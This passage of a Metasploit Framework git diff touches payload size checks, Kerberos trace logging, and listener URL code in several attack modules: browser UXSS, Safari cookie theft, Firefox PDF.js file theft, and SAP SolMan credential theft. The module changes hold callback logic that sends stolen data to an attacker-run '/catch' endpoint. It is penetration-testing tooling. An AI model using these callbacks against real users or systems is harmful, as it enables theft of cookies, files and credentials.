update_cached_size(stages.first, new_size) + update_stager_cached_sizes(stages.first, other_sizes) + + new_size end # Calculates the CachedSize value for a payload module # # @param mod [Msf::Payload] The class of the payload module to update - # @return [Integer] - def self.compute_cached_size(mod) - return ":dynamic" if is_dynamic?(mod) + # @return [Integer, String] + def self.compute_cached_size(framework, mod) + return ":dynamic" if is_dynamic?(framework, mod) - mod.generate_simple(module_options(mod)).size + mod.replicant.generate_simple(module_options(mod)).bytesize end # Determines whether a payload generates a static sized output @@ -111,23 +177,67 @@ def self.compute_cached_size(mod) # @param mod [Msf::Payload] The class of the payload module to update # @param generation_count [Integer] The number of iterations to use to # verify that the size is static. - # @return [Integer] - def self.is_dynamic?(mod, generation_count=5) + # @return [Boolean] + def self.is_dynamic?(framework, mod, generation_count=10) + return true if mod.class.const_defined?('ForceDynamicCachedSize') && mod.class::ForceDynamicCachedSize opts = module_options(mod) - [*(1..generation_count)].map do |x| - mod.generate_simple(opts).size - end.uniq.length != 1 + last_bytesize = nil + generation_count.times do + # Ensure a new module instance is created for each attempt, as some options are randomized on load - such as tmp file path names etc + new_mod = framework.payloads.create(mod.refname) + bytesize = new_mod.generate_simple(opts).bytesize + last_bytesize ||= bytesize + if last_bytesize != bytesize + return true + end + end + + false end # Determines whether a payload's CachedSize is up to date # # @param mod [Msf::Payload] The class of the payload module to update # @return [Boolean] - def self.is_cached_size_accurate?(mod) - return true if mod.dynamic_size? && is_dynamic?(mod) + def self.is_cached_size_accurate?(framework, mod) + return true if mod.dynamic_size? && is_dynamic?(framework, mod) return false if mod.cached_size.nil? - mod.cached_size == mod.generate_simple(module_options(mod)).size + mod.cached_size == mod.replicant.generate_simple(module_options(mod)).bytesize + end + + # Checks for errors or inconsistencies in the CachedSize value for a payload module. + # Returns nil if the cache is correct, or a string describing the error if not. + # + # @param framework [Msf::Framework] The Metasploit framework instance used for payload generation + # @param mod [Msf::Payload] The payload module to check + # @return [String, nil] Error message if there is a problem, or nil if the cache is correct + def self.cache_size_errors_for(framework, mod) + is_payload_size_different_on_each_generation = is_dynamic?(framework,mod) + module_marked_as_dynamic = mod.dynamic_size? + payload_cached_static_size = mod.cached_size + + # Validate dynamic scenario + return if is_payload_size_different_on_each_generation && module_marked_as_dynamic + + if is_payload_size_different_on_each_generation && !module_marked_as_dynamic + return 'Module generated different sizes for each generation attempt. CacheSize must be set to :dynamic' + end + + if payload_cached_static_size.nil? + return 'Module missing CachedSize and not marked as dynamic' + end + + payload_size_after_one_generation = mod.replicant.generate_simple(module_options(mod)).bytesize + + # Validate static scenario + return if payload_cached_static_size == payload_size_after_one_generation + + if payload_cached_static_size != payload_size_after_one_generation + return "Module marked as having size #{payload_cached_static_size} but after one generation was #{payload_size_after_one_generation}" + end + + raise "unhandled scenario" end # Get a set of sane default options for the module so it can generate a diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 9509f949236d8..65e4211a3936b 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -306,6 +306,8 @@ def custom_inflections 'pfsense' => 'PfSense', 'opnsense' => 'OPNSense', 'pgadmin' => 'PgAdmin', + 'freepbx' => 'FreePBX', + 'complete_pbx' => 'CompletePBX' } end diff --git a/lib/rex/proto/dhcp/server.rb b/lib/rex/proto/dhcp/server.rb index b4b7b5ea5dae5..12d28947b9b8b 100644 --- a/lib/rex/proto/dhcp/server.rb +++ b/lib/rex/proto/dhcp/server.rb @@ -70,6 +70,8 @@ def initialize(hash, context = {}) self.broadcasta = Rex::Socket.addr_itoa( self.start_ip | (Rex::Socket.addr_ntoi(self.netmaskn) ^ 0xffffffff) ) end + self.interface = hash['DHCPINTERFACE'] || nil + self.served = {} self.serveOnce = hash.include?('SERVEONCE') @@ -110,6 +112,11 @@ def start 'Context' => context ) + # Dynamically bind to interface if provided + if interface && !interface.empty? + self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BINDTODEVICE, "#{interface}\0") + end + self.thread = Rex::ThreadFactory.spawn("DHCPServerMonitor", false) { monitor_socket } @@ -153,7 +160,7 @@ def send_packet(ip, pkt) end attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv - attr_accessor :domain_name, :proxy_auto_discovery + attr_accessor :domain_name, :proxy_auto_discovery, :interface attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE diff --git a/lib/rex/proto/kerberos/client.rb b/lib/rex/proto/kerberos/client.rb index a4779ad177b62..77a322c81c9c0 100644 --- a/lib/rex/proto/kerberos/client.rb +++ b/lib/rex/proto/kerberos/client.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'rex/stopwatch' +require 'rex/proto/kerberos/kerberos_subscriber' module Rex module Proto @@ -29,6 +30,9 @@ class Client # @!attribute context # @return [Hash] The Msf context where the connection belongs to attr_accessor :context + # @!attribute subscriber + # @return [Rex::Proto::Kerberos::KerberosSubscriber] Subscriber used for tracing Kerberos + attr_accessor :subscriber def initialize(opts = {}) self.host = opts[:host] @@ -37,6 +41,7 @@ def initialize(opts = {}) self.timeout = (opts[:timeout] || 10).to_i self.protocol = opts[:protocol] || 'tcp' self.context = opts[:context] || {} + self.subscriber = opts[:subscriber] || KerberosSubscriber.new end # Creates a connection through a Rex socket @@ -76,6 +81,7 @@ def close # @raise [NotImplementedError] if the transport protocol isn't supported def send_request(req) connect + subscriber.on_request(req) sent = 0 case protocol @@ -112,6 +118,7 @@ def recv_response raise ::RuntimeError, 'Kerberos Client: unknown transport protocol' end + subscriber.on_response(res) res end diff --git a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb new file mode 100644 index 0000000000000..d62b920eca01b --- /dev/null +++ b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb @@ -0,0 +1,288 @@ +# -*- coding: binary -*- + +require 'set' +require 'time' +require 'rex/proto/kerberos/model' +require 'rex/proto/kerberos/crypto' +require 'rex/proto/kerberos/kerberos_subscriber' +require 'rex/proto/kerberos/kerberos_readable_text_presenter' +require 'rex/proto/kerberos/credential_cache/krb5_ccache_presenter' + +module Rex + module Proto + module Kerberos + # Logs Kerberos requests/responses + class KerberosLoggerSubscriber < KerberosSubscriber + def initialize(logger:) + super() + raise 'Incompatible logger' unless logger.respond_to?(:print_line) && logger.respond_to?(:datastore) + + @logger = logger + end + + # (see Rex::Proto::Kerberos::KerberosSubscriber#on_request) + def on_request(request) + return unless trace_enabled? + + request_color, _response_color = trace_colors + print_header('Request', request) + @logger.print_line("%clr#{request_color}#{format_message(request)}%clr") + end + + # (see Rex::Proto::Kerberos::KerberosSubscriber#on_response) + def on_response(response) + return unless trace_enabled? + + _request_color, response_color = trace_colors + print_header('Response', response) + if response.nil? + @logger.print_line('No response received') + return + end + + @logger.print_line("%clr#{response_color}#{format_message(response)}%clr") + end + + # (see Rex::Proto::Kerberos::KerberosSubscriber#on_credential) + def on_credential(credential, source: nil) + return unless trace_enabled? + return if credential.nil? + + print_credential_header(source) + @logger.print_line(format_credential(credential)) + end + + private + + def trace_enabled? + @logger.datastore['KerberosTicketTrace'] + end + + def trace_colors + configured_trace_colors = @logger.datastore['KerberosTicketTraceColors'] + # Keep HttpTrace-compatible default formatting: request/response color pair. + trace_colors = blank_value?(configured_trace_colors) ? 'red/blu' : configured_trace_colors + trace_colors += '/' if trace_colors.count('/') == 0 + trace_colors.gsub('/', ' / ').split('/').map do |color| + blank_value?(color&.strip) ? '' : "%bld%#{color.strip}" + end + end + + def print_header(direction, message) + @logger.print_line('#' * 20) + @logger.print_line("# Kerberos #{direction}: #{message_type_name(message)}") + @logger.print_line('#' * 20) + end + + def print_credential_header(source) + @logger.print_line('#' * 20) + @logger.print_line("# Kerberos Credential#{source ? ": #{source}" : ''}") + @logger.print_line('#' * 20) + end + + def message_type_name(message) + msg_type = message.msg_type if message.respond_to?(:msg_type) + case msg_type + when Rex::Proto::Kerberos::Model::AS_REQ + 'AS-REQ' + when Rex::Proto::Kerberos::Model::AS_REP + 'AS-REP' + when Rex::Proto::Kerberos::Model::TGS_REQ + 'TGS-REQ' + when Rex::Proto::Kerberos::Model::TGS_REP + 'TGS-REP' + when Rex::Proto::Kerberos::Model::AP_REQ + 'AP-REQ' + when Rex::Proto::Kerberos::Model::AP_REP + 'AP-REP' + when Rex::Proto::Kerberos::Model::KRB_ERROR + 'KRB-ERROR' + when nil + 'UNKNOWN' + else + "UNKNOWN (#{msg_type})" + end + end + + def format_message(message) + return 'null' if message.nil? + + if message.respond_to?(:attributes) + serialized_message = serialize_element(message) + readable_text_presenter.present(serialized_message) + else + # Fall back for non-model objects. + message.to_s + end + rescue StandardError => e + "Kerberos trace rendering error: #{e.class}: #{e.message}" + end + + def format_credential(credential) + rendered_credential = ticket_presenter.present_cred(credential) + [ + 'Creds: 1', + " Credential[0]:\n#{rendered_credential.indent(4)}" + ].join("\n") + rescue StandardError => e + "Credential presenter error: #{e.class}: #{e.message}" + end + + def serialize_element(element) + element.attributes.each_with_object({}) do |attribute, output| + value = element.public_send(attribute) + next if value.nil? + + output[attribute.to_s] = serialize_value(value, element: element, attribute: attribute.to_sym) + end + end + + def serialize_value(value, element: nil, attribute: nil) + if value.respond_to?(:attributes) + # Recursively serialize nested Kerberos model objects. + serialize_element(value) + elsif kerberos_error_code?(value) + # Normalize ErrorCode-like objects to a compact structured form. + { + 'name' => value.name, + 'value' => value.value, + 'description' => value.description + } + else + serialize_scalar_value(value, element: element, attribute: attribute) + end + end + + def serialize_scalar_value(value, element: nil, attribute: nil) + case value + when Array + value.map { |entry| serialize_value(entry, element: element, attribute: attribute) } + when Set + value.to_a.map { |entry| serialize_value(entry, element: element, attribute: attribute) } + when Hash + value.each_with_object({}) do |(key, entry), output| + output[key.to_s] = serialize_value(entry) + end + when Rex::Proto::Kerberos::Model::KerberosFlags + { + 'value' => value.to_i, + 'flags' => value.enabled_flag_names.map(&:to_s) + } + when Time + value.utc.iso8601 + when String + serialize_string(value) + when Symbol + value.to_s + when Integer + serialize_enum_value(value, element: element, attribute: attribute) || value + when Float, TrueClass, FalseClass, NilClass + value + else + value.to_s + end + end + + def serialize_enum_value(value, element:, attribute:) + enum_name = case attribute + when :msg_type + message_type_name_for_value(value) + when :type + enum_type_name(value, element) + when :etype + enum_etype_name(value) + when :name_type + enum_name_type_name(value, element) + end + return nil if enum_name.nil? + + "#{value} (#{enum_name})" + end + + def message_type_name_for_value(msg_type) + case msg_type + when Rex::Proto::Kerberos::Model::AS_REQ + 'AS-REQ' + when Rex::Proto::Kerberos::Model::AS_REP + 'AS-REP' + when Rex::Proto::Kerberos::Model::TGS_REQ + 'TGS-REQ' + when Rex::Proto::Kerberos::Model::TGS_REP + 'TGS-REP' + when Rex::Proto::Kerberos::Model::AP_REQ + 'AP-REQ' + when Rex::Proto::Kerberos::Model::AP_REP + 'AP-REP' + when Rex::Proto::Kerberos::Model::KRB_ERROR + 'KRB-ERROR' + else + 'UNKNOWN' + end + end + + def enum_type_name(value, element) + if element.is_a?(Rex::Proto::Kerberos::Model::PreAuthDataEntry) + const_name_for_value(Rex::Proto::Kerberos::Model::PreAuthType, value) + elsif element.is_a?(Rex::Proto::Kerberos::Model::EncryptionKey) + enum_etype_name(value) + end + end + + def enum_etype_name(value) + Rex::Proto::Kerberos::Crypto::Encryption.const_name(value) || 'UNKNOWN' + end + + def enum_name_type_name(value, element) + return nil unless element.is_a?(Rex::Proto::Kerberos::Model::PrincipalName) + + const_name_for_value(Rex::Proto::Kerberos::Model::NameType, value) + end + + def const_name_for_value(mod, value) + mod.constants.each do |const_name| + return const_name.to_s if mod.const_get(const_name) == value + rescue StandardError + next + end + + 'UNKNOWN' + end + + def kerberos_error_code?(value) + value.respond_to?(:name) && value.respond_to?(:value) && value.respond_to?(:description) + end + + def serialize_string(value) + return value if printable_string?(value) + + # Expand binary/non-printable strings fully in hex. + "[binary #{value.bytesize} bytes: #{value.unpack1('H*')}]" + end + + def ticket_presenter + @ticket_presenter ||= Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(nil) + end + + def readable_text_presenter + @readable_text_presenter ||= Rex::Proto::Kerberos::KerberosReadableTextPresenter.new + end + + def printable_string?(value) + utf8_value = value.dup.force_encoding(::Encoding::UTF_8) + utf8_value.valid_encoding? && utf8_value.match?(/\A[[:print:]\r\n\t ]*\z/) + rescue ::Encoding::CompatibilityError + false + end + + def blank_value?(value) + # Avoid depending on ActiveSupport's `blank?` for this Rex-level helper. + return true if value.nil? || value == false + return value.strip.empty? if value.respond_to?(:strip) + return value.empty? if value.respond_to?(:empty?) + + false + end + end + end + end +end diff --git a/lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb b/lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb new file mode 100644 index 0000000000000..f62f04b8fcce5 --- /dev/null +++ b/lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb @@ -0,0 +1,97 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + # Presenter for formatting Kerberos data structures as human-readable text + class KerberosReadableTextPresenter + READABLE_TEXT_LABELS = { + 'pvno' => 'Protocol Version', + 'msg_type' => 'Message Type', + 'pa_data' => 'Pre-Authentication Data', + 'req_body' => 'Request Body', + 'crealm' => 'Client Realm', + 'cname' => 'Client Name', + 'realm' => 'Realm', + 'sname' => 'Server Name', + 'enc_part' => 'Encrypted Part', + 'etype' => 'Encryption Type', + 'name_type' => 'Name Type', + 'name_string' => 'Name String', + 'error_code' => 'Error Code', + 'e_data' => 'Error Data', + 'etext' => 'Error Text', + 'stime' => 'Server Time', + 'ctime' => 'Client Time', + 'susec' => 'Server Microseconds', + 'cusec' => 'Client Microseconds', + 'options' => 'KDC Options', + 'ticket' => 'Ticket', + 'tkt_vno' => 'Ticket Version Number', + 'kvno' => 'Key Version Number', + 'flags' => 'Flags' + }.freeze + + def present(serialized_message) + lines = [] + case serialized_message + when Hash + append_hash(lines, serialized_message, indent: 0) + when Array + append_array(lines, serialized_message, indent: 0) + else + lines << serialized_message.to_s + end + lines.join("\n") + end + + private + + def append_hash(lines, value, indent:) + value.each do |key, entry| + append_field(lines, key, entry, indent: indent) + end + end + + def append_field(lines, key, value, indent:) + label = readable_text_label(key) + spacing = ' ' * indent + case value + when Hash + lines << "#{spacing}#{label}:" + append_hash(lines, value, indent: indent + 2) + when Array + if value.empty? + lines << "#{spacing}#{label}: []" + else + lines << "#{spacing}#{label}:" + append_array(lines, value, indent: indent + 2) + end + else + lines << "#{spacing}#{label}: #{value}" + end + end + + def append_array(lines, value, indent:) + spacing = ' ' * indent + value.each_with_index do |entry, index| + case entry + when Hash + lines << "#{spacing}Entry[#{index}]:" + append_hash(lines, entry, indent: indent + 2) + when Array + lines << "#{spacing}Entry[#{index}]:" + append_array(lines, entry, indent: indent + 2) + else + lines << "#{spacing}- #{entry}" + end + end + end + + def readable_text_label(key) + READABLE_TEXT_LABELS[key.to_s] || key.to_s.split('_').map(&:capitalize).join(' ') + end + end + end + end +end diff --git a/lib/rex/proto/kerberos/kerberos_subscriber.rb b/lib/rex/proto/kerberos/kerberos_subscriber.rb new file mode 100644 index 0000000000000..aba78608fad26 --- /dev/null +++ b/lib/rex/proto/kerberos/kerberos_subscriber.rb @@ -0,0 +1,26 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + # Subscriber interface for observing Kerberos request/response messages. + class KerberosSubscriber + # @param request [Rex::Proto::Kerberos::Model::KdcRequest, Rex::Proto::Kerberos::Model::ApReq] + def on_request(request) + nil + end + + # @param response [Rex::Proto::Kerberos::Model::KdcResponse, Rex::Proto::Kerberos::Model::ApRep, Rex::Proto::Kerberos::Model::KrbError] + def on_response(response) + nil + end + + # @param credential [Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential] + # @param source [String,nil] + def on_credential(credential, source: nil) + nil + end + end + end + end +end diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb index 7c3251ce826f8..c741d4682660e 100644 --- a/lib/rex/proto/mssql/client.rb +++ b/lib/rex/proto/mssql/client.rb @@ -3,7 +3,7 @@ require 'rex/text' require 'msf/core/exploit' require 'msf/core/exploit/remote' -require 'msf/core/exploit/remote/kerberos/clock_skew' +require 'msf/core/opt_timedelta' module Rex module Proto @@ -389,7 +389,7 @@ def login_kerberos(user, pass, db, domain_name) framework: framework, framework_module: framework_module, ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module), - clock_skew: Msf::Exploit::Remote::Kerberos::ClockSkew.parse(framework_module.datastore['KrbClockSkew']) + clock_skew: framework_module.datastore['KrbClockSkew'] ) kerberos_result = kerberos_authenticator.authenticate diff --git a/lib/rubocop/cop/lint/datastore_srvhost_usage.rb b/lib/rubocop/cop/lint/datastore_srvhost_usage.rb deleted file mode 100644 index e682f905d8e3b..0000000000000 --- a/lib/rubocop/cop/lint/datastore_srvhost_usage.rb +++ /dev/null @@ -1,42 +0,0 @@ -# frozen_string_literal: true - -module RuboCop - module Cop - module Lint - # Detects direct access to datastore['SRVHOST'] and recommends using the srvhost method instead. - # - # The srvhost method provides a cleaner API for accessing the SRVHOST value from the datastore. - # - # @example - # # bad - # datastore['SRVHOST'] - # datastore["SRVHOST"] - # - # # good - # srvhost - class DatastoreSrvhostUsage < Base - extend AutoCorrector - - MSG = 'Use the `srvhost` method instead of directly accessing `datastore[\'SRVHOST\']`.' - - # @!method datastore_srvhost_access?(node) - def_node_matcher :datastore_srvhost_access?, <<~PATTERN - (send - (send nil? :datastore) :[] - (str {"SRVHOST"})) - PATTERN - - # Called for every method call in the code - # Checks if it's a datastore['SRVHOST'] access and registers an offense if so - # @param node [RuboCop::AST::SendNode] The method call node being checked - def on_send(node) - return unless datastore_srvhost_access?(node) - - add_offense(node, message: MSG) do |corrector| - corrector.replace(node, 'srvhost') - end - end - end - end - end -end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index ad0d0ca24ee1d..06288b84bf2ca 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -69,7 +69,7 @@ Gem::Specification.new do |spec| # Metasploit::Credential database models spec.add_runtime_dependency 'metasploit-credential' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '>= 6.0.7' + spec.add_runtime_dependency 'metasploit_data_models', '>= 6.0.15' # Things that would normally be part of the database model, but which # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' diff --git a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb index 5994b46e5a0f8..72919757cb8ca 100644 --- a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb +++ b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb @@ -176,7 +176,10 @@ def hidden_css end def backend_url - "#{get_uri}/catch" + proto = (datastore['SSL'] ? 'https' : 'http') + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" end def run diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index ed5ecf90c56aa..ee1ac80517f0b 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -50,7 +50,7 @@ def initialize(info = {}) OptString.new('HttpUsername', [ true, 'User to login with', 'admin']), OptString.new('HttpPassword', [ false, 'Password to login with', 'password']), OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), - OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), + OptAddress.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']), OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), diff --git a/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb b/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb index 15a4f15ce192a..e064799d2daed 100644 --- a/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb +++ b/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb @@ -58,7 +58,7 @@ def initialize(info = {}) OptString.new('SSRF_METHOD', [true, 'HTTP method for SSRF', 'GET'], conditions: %w[ACTION == SSRF]), OptString.new('SSRF_URI', [true, 'URI for SSRF', 'http://127.0.0.1:80/'], conditions: %w[ACTION == SSRF]), OptString.new('COMMAND', [true, 'Command for execute in agent', 'id'], conditions: %w[ACTION == EXEC]), - OptAddressRoutable.new('SRVHOST', [ false, 'The local IP address to listen HTTP requests from agents' ], conditions: %w[ACTION == SECSTORE]), + OptAddress.new('SRVHOST', [ true, 'The local IP address to listen HTTP requests from agents', '192.168.1.1' ], conditions: %w[ACTION == SECSTORE]), OptPort.new('SRVPORT', [ true, 'The local port to listen HTTP requests from agents', 8000 ], conditions: %w[ACTION == SECSTORE]), OptString.new('AGENT', [true, 'Agent server name for exec command or SSRF', 'agent_server_name'], conditions: ['ACTION', 'in', %w[SSRF EXEC SECSTORE]]), ] @@ -68,6 +68,8 @@ def initialize(info = {}) def setup_xml_and_variables @host = datastore['RHOSTS'] @port = datastore['RPORT'] + @srv_host = datastore['SRVHOST'] + @srv_port = datastore['SRVPORT'] @path = datastore['TARGETURI'] @agent_name = datastore['AGENT'] @@ -253,7 +255,7 @@ def action_secstore } } ) - @creds_payload = make_steal_credentials_payload(agent[:instanceName], "#{get_uri(cli)}/#{@script_name}") + @creds_payload = make_steal_credentials_payload(agent[:instanceName], @srv_host, @srv_port, "/#{@script_name}") print_status("Start script: #{@script_name} with payload for retrieving SolMan credentials file from agent: #{@agent_name}") send_soap_request(make_soap_body(@agent_name, @script_name, @creds_payload)) diff --git a/modules/auxiliary/fileformat/specialfolder_leak.rb b/modules/auxiliary/fileformat/specialfolder_leak.rb index 22053b0fd8f0c..a4df374248615 100644 --- a/modules/auxiliary/fileformat/specialfolder_leak.rb +++ b/modules/auxiliary/fileformat/specialfolder_leak.rb @@ -156,12 +156,12 @@ def run start_service unc_share = datastore['SHARE'] unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank? - unc_path = "\\\\#{srvhost}\\#{unc_share}" + unc_path = "\\\\#{datastore['SRVHOST']}\\#{unc_share}" lnk_data = ms_shllink(unc_path, app_name) file_create(lnk_data) print_good("LNK file created: #{datastore['FILENAME']}") - print_status("Listening for hashes on #{Rex::Socket.to_authority(bindhost, bindport)}") + print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") stime = Time.now.to_f timeout = datastore['ListenerTimeout'].to_i loop do diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb index 2310160d775ad..2a105422c84c5 100644 --- a/modules/auxiliary/gather/android_stock_browser_uxss.rb +++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb @@ -218,6 +218,13 @@ def collect_data(request) end end + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + def custom_js rjs_hook + datastore['CUSTOM_JS'] end diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index 01fe4be14cc11..2e35b3c9ffd3e 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -55,7 +55,7 @@ def initialize(info = {}) # def run start_service - print_status("Local FTP: #{Rex::Socket.to_authority(srvhost_addr, srvport)}") + print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}") start_http @http_service.wait end @@ -68,12 +68,17 @@ def start_http(opts = {}) # Ensture all dependencies are present before initializing HTTP use_zlib - comm = _determine_server_comm(bindhost) + comm = datastore['ListenerComm'] + if comm.to_s == 'local' + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end # Default the server host / port opts = { - 'ServerHost' => bindhost, - 'ServerPort' => datastore['HTTPPORT'], # can't use bindport because this wants HTTPPORT not SRVPORT + 'ServerHost' => datastore['SRVHOST'], + 'ServerPort' => datastore['HTTPPORT'], 'Comm' => comm }.update(opts) @@ -106,7 +111,7 @@ def start_http(opts = {}) print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if opts['ServerHost'] == '0.0.0.0' - print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") + print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end # Add path to resource @@ -114,6 +119,18 @@ def start_http(opts = {}) @http_service.add_resource(uopts['Path'], uopts) end + # + # Lookup the right address for the client + # + def lookup_lhost(c = nil) + # Get the source address + if datastore['SRVHOST'] == '0.0.0.0' + Rex::Socket.source_address(c || '50.50.50.50') + else + datastore['SRVHOST'] + end + end + # # Handle the FTP RETR request. This is where we transfer our actual malicious payload # @@ -194,7 +211,7 @@ def on_request_uri(cli, request) domains = datastore['TARGET_DOMAINS'].split(',') iframes = domains.map do |domain| %Q|| end diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 14def1f154540..fff1f23508e9e 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -86,6 +86,14 @@ def record_data(data, cli) ) end + # @return [String] formatted http/https URL of the listener + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + def message super + (datastore['INSTALL_EXTENSION'] ? " Click here to continue." + popup_js : '') end diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb index 8edcceea88fa5..3cfad645eee85 100644 --- a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb +++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb @@ -92,7 +92,12 @@ def html end def backend_url - "#{get_uri}/catch" + proto = (datastore['SSL'] ? 'https' : 'http') + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + resource = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource + + "#{proto}://#{my_host}#{port_str}#{resource}/catch" end def file_payload diff --git a/modules/auxiliary/gather/ie_sandbox_findfiles.rb b/modules/auxiliary/gather/ie_sandbox_findfiles.rb index 3ede49b391e5a..bd583642a5789 100644 --- a/modules/auxiliary/gather/ie_sandbox_findfiles.rb +++ b/modules/auxiliary/gather/ie_sandbox_findfiles.rb @@ -51,10 +51,12 @@ def initialize(info = {}) end def js + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + %Q|function report() { if(window.location.protocol != 'file:') { try { - window.location.href = 'file://#{srvhost_addr}/#{datastore['SHARENAME']}/index.html'; + window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch (e) { } return; } @@ -63,10 +65,10 @@ def js for(var i = 0; i < frames.length; i++) { try { if(frames[i].name == 'notfound') { - frames[i].src = 'http://#{srvhost_addr}/notfound/?f=' + frames[i].src; + frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src; } else { - frames[i].src = 'http://#{srvhost_addr}/found/?f=' + frames[i].src; + frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src; } } catch(e) { } } @@ -96,8 +98,10 @@ def html end def svg + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + %Q| -| +| end def is_target_suitable?(user_agent) @@ -114,6 +118,8 @@ def is_target_suitable?(user_agent) end def on_request_uri(cli, request) + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + case request.method when 'OPTIONS' process_options(cli, request) @@ -145,7 +151,7 @@ def on_request_uri(cli, request) "), + 'response' => convert_to_int_array(""), 'has_error' => false } wsock.put_wsbinary(JSON.generate(data)) @@ -238,7 +238,7 @@ def agent_callback_checkin(cookie) os_name: datastore['AGENT_OS'], os_arch: 'amd64', mac_address: mac_address, - local_ip_address: srvhost, + local_ip_address: datastore['SRVHOST'], port: datastore['SRVPORT'].to_s, fetched_unix: Time.now.to_i } @@ -362,6 +362,7 @@ def exploit 